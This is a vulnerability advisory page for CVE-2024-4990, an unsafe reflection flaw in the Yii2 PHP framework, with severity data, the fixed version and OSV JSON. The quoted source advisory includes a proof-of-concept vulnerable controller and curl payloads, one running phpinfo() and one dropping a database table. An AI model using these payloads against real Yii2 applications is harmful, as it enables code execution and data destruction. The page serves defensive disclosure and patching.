CVE-2024-4990: Yiisoft/yii2 Unsafe Reflection Vulnerability

HIGH
Advisory Identifier: GHSA-cjcc-p67m-7qxm
CVSS 8.1
CWE-470
Published
Advisory Summary

CVE-2024-4990 is a HIGH (CVSS 8.1) unsafe reflection vulnerability (CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')) affecting Yiisoft/yii2 libraries in the Packagist ecosystem. The issue involves unsafe reflection in base component class in yiisoft/yii2. Remediation is available by upgrading affected packages to version 2.0.49.4.

CVE-2024-4990 at a Glance

CVE Identifier CVE-2024-4990
GHSA Identifier GHSA-cjcc-p67m-7qxm
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Affected Product Yiisoft/yii2
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-4990

To remediate this vulnerability, upgrade all affected Yiisoft/yii2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yiisoft/yii2 fixed: 2.0.49.4
Upgrade yiisoft/yii2 to 2.0.49.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yiisoft/yii2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-4990, inspect your project dependencies for Yiisoft/yii2:

inspect dependencies for yiisoft/yii2

Analyze the terminal output to locate any version of Yiisoft/yii2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.49.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), where the product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. In Yiisoft/yii2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Yii2 supports attaching Behaviors to Components by setting properties having the format `'as <behaviour-name>'`. Internally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods. ### Impact With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables ### Patches Not yet patched. ### Workarounds No Work around available ### References Reported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) in case the link is dead, here is the full description # Description Yii2 supports attaching Behaviors to Components by setting properties having the format `'as <behaviour-name>'`. Internally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid Behavior class name or configuration. An attacker that can control the content of the `$value` variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods. Depending on the installed dependencies various kind of attacks are possible. # Proof of Concept A PoC application was created using `composer create-project`, as specified in the [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation). Yii JSON parser was enabled in the configuration: ```php 'parsers' => [ 'application/json' => 'yii\web\JsonParser' ] ``` A vulnerable controller was added: ```php <?php namespace app\controllers; use yii\base\Component; use yii\web\Controller; class ExploitableController extends Controller { public function beforeAction($action): bool { // Needed only to simplify the PoC $this->enableCsrfValidation = false; return parent::beforeAction($action); } public function actionVulnerable(): string { $fields = $this->request->post(); $myComponent = new Component(); foreach ($fields as $key => $value) { $myComponent->$key = $value; } return ""; } } ``` ## Executing phpinfo() Following command stores the content of `phpinfo()` inside info.html: ```bash curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html ``` It leverages the fact that `GuzzleHttp\Psr7\FnStream` class executes `call_user_func($this->_fn_close)` inside `__destruct()`. This class is a default dependency. ## Executing arbitrary MySQL queries (blind execution) If the application is connected to a MySQL database it is possible to exploit the `PDO` class to execute arbitrary SQL queries: ```bash curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable ``` Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration. # Impact It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit). The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access. # Occurrences [Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)

CVE-2024-4990 Affected Yiisoft/yii2 Versions

1 component(s)
Fixed Versions:
2.0.49.4
Product / Package Ecosystem Affected Versions Fixed Version
yiisoft/yii2
Packagist
< 2.0.49.4
2.0.49.4

References

Frequently Asked Questions

What is CVE-2024-4990?
CVE-2024-4990 is a security vulnerability in Yiisoft/yii2 involving Unsafe Reflection in base Component class in yiisoft/yii2 under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').
Which Yiisoft/yii2 versions are affected?
Affected versions include releases prior to 2.0.49.4 across affected packages: yiisoft/yii2.
What version fixes CVE-2024-4990?
Upgrading to 2.0.49.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yiisoft/yii2 affected?
Yes, yiisoft/yii2 is affected in releases prior to 2.0.49.4. Upgrade your dependency to 2.0.49.4 or later.
What is the CVSS score of CVE-2024-4990?
CVE-2024-4990 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-4990?
CVE-2024-4990 is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.).
How can I check Packagist dependencies for CVE-2024-4990?
Run the dependency tree command: 'inspect dependencies for yiisoft/yii2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cjcc-p67m-7qxm",
  "modified" : "2025-04-01T23:13:58Z",
  "published" : "2024-06-02T22:30:39Z",
  "aliases" : [ "CVE-2024-4990" ],
  "summary" : "Unsafe Reflection in base Component class in yiisoft/yii2",
  "details" : "Yii2 supports attaching Behaviors to Components by setting properties having the format `'as <behaviour-name>'`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\n### Impact\nWith some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables\n\n### Patches\nNot yet patched.\n\n### Workarounds\nNo Work around available\n\n### References\nReported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) \n\nin case the link is dead, here is the full description\n\n# Description\n\nYii2 supports attaching Behaviors to Components by setting properties having the format  `'as <behaviour-name>'`.\n\nInternally this is done using the  `__set()`  magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using  `Yii::createObject($value)`. However, there is no validation check that verifies that  `$value`  is a valid Behavior class name or configuration. An attacker that can control the content of the  `$value`  variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\nDepending on the installed dependencies various kind of attacks are possible.\n\n# Proof of Concept\n\nA PoC application was created using  `composer create-project`, as specified in the  [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation).\n\nYii JSON parser was enabled in the configuration:\n\n```php\n'parsers' => [ 'application/json' => 'yii\\web\\JsonParser' ]\n\n```\n\nA vulnerable controller was added:\n\n```php\n<?php\n\nnamespace app\\controllers;\n\nuse yii\\base\\Component;\nuse yii\\web\\Controller;\n\nclass ExploitableController extends Controller\n{\n    public function beforeAction($action): bool\n    {\n        // Needed only to simplify the PoC\n        $this->enableCsrfValidation = false;\n        return parent::beforeAction($action);\n    }\n\n    public function actionVulnerable(): string\n    {\n        $fields = $this->request->post();\n        $myComponent = new Component();\n        foreach ($fields as $key => $value) {\n            $myComponent->$key = $value;\n        }\n        return \"\";\n    }\n}\n\n```\n\n## Executing phpinfo()\n\nFollowing command stores the content of  `phpinfo()`  inside info.html:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html\n\n```\n\nIt leverages the fact that  `GuzzleHttp\\Psr7\\FnStream`  class executes  `call_user_func($this->_fn_close)`  inside  `__destruct()`. This class is a default dependency.\n\n## Executing arbitrary MySQL queries (blind execution)\n\nIf the application is connected to a MySQL database it is possible to exploit the  `PDO`  class to execute arbitrary SQL queries:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"\\\\PDO\", \"__construct()\": [\"mysql:host=127.0.0.1;dbname=test\", \"test\", \"test\", {\"1002\": \"DROP TABLE test\"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable\n\n```\n\nNotice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. \"Table 'test.foo' doesn't exist\"), depending on the app configuration.\n\n# Impact\n\nIt is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).\n\nThe consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.\n\n# Occurrences\n\n[Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yiisoft/yii2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.49.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yiisoft/yii2/security/advisories/GHSA-cjcc-p67m-7qxm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-4990"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yiisoft/yii2/pull/20183"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yiisoft/yii2/commit/628d406bfafb80fc32147837888c0057d89a021e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yiisoft/yii2/commit/62d081f18c3602d09e7d075bba3a0ca5c313f0b4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2/CVE-2024-4990.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yiisoft/yii2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yiisoft/yii2/blob/master/framework/CHANGELOG.md#2050-may-30-2024"
  }, {
    "type" : "WEB",
    "url" : "https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-470" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-02T22:30:39Z",
    "nvd_published_at" : "2025-03-20T10:15:32Z"
  }
}